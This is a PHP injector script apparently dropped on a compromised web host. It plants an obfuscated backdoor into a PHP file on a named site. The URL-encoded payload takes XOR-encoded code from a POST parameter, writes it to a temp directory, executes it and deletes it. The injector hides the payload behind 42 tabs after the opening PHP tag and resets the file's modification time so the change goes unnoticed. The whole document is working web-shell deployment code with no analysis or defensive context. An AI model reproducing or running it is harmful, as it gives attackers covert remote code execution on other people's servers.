<?php  $path = '/home/u602429561/domains/sshyd.com/public_html/.well-known/E.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28count%28%24_POST%29%20%3E%200%20%26%26%20isset%28%24_POST%5B%22e%5Cx6Ce%5Cx6De%5Cx6E%5Cx74%22%5D%29%29%7B%20%24val%20%3D%20array_filter%28%5B%22/var/tmp%22%2C%20session_save_path%28%29%2C%20%22/tmp%22%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getcwd%28%29%2C%20getenv%28%22TMP%22%29%2C%20sys_get_temp_dir%28%29%2C%20getenv%28%22TEMP%22%29%2C%20%22/dev/shm%22%5D%29%3B%20%24pset%20%3D%20hex2bin%28%24_POST%5B%22e%5Cx6Ce%5Cx6De%5Cx6E%5Cx74%22%5D%29%3B%20%24res%20%3D%20%27%27%3B%24a%20%3D%200%3B%20while%28%24a%20%3C%20strlen%28%24pset%29%29%7B%24res%20.%3D%20chr%28ord%28%24pset%5B%24a%5D%29%20%5E%2070%29%3B%24a%2B%2B%3B%7D%20for%20%28%24ref%20%3D%200%2C%20%24k%20%3D%20count%28%24val%29%3B%20%24ref%20%3C%20%24k%3B%20%24ref%2B%2B%29%20%7B%20%24dchunk%20%3D%20%24val%5B%24ref%5D%3B%20if%20%28is_writable%28%24dchunk%29%20%26%26%20is_dir%28%24dchunk%29%29%20%7B%20%24pointer%20%3D%20sprintf%28%22%25s/.marker%22%2C%20%24dchunk%29%3B%20if%20%28%40file_put_contents%28%24pointer%2C%20%24res%29%20%21%3D%3D%20false%29%20%7B%20include%20%24pointer%3B%20unlink%28%24pointer%29%3B%20exit%3B%20%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) {     die('!failed!'); } if (strstr($content, $new_code)) {     die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {     $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) {     $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) {     die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     $len = strlen($start);     if ($len > strlen($body) || substr($body, 0, $len) !== $start) {         continue;     }     if ($start === '<?') {         if (strncmp($body, '<?xml', 5) === 0) {             continue;         }         if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') {             continue;         }     }     $rest = substr($body, $len);     $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest;     $tmp = @tempnam(dirname($path), 't');     if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {         // +10s: opcache sees a newer mtime; date stays close to original         @touch($path, $ft + 10);         $check = (string) @file_get_contents($path);         if (strstr($check, $new_code)) {             die('!success!');         }     }     if ($tmp !== false && is_file($tmp)) {         @unlink($tmp);     } } die('!failed!'); 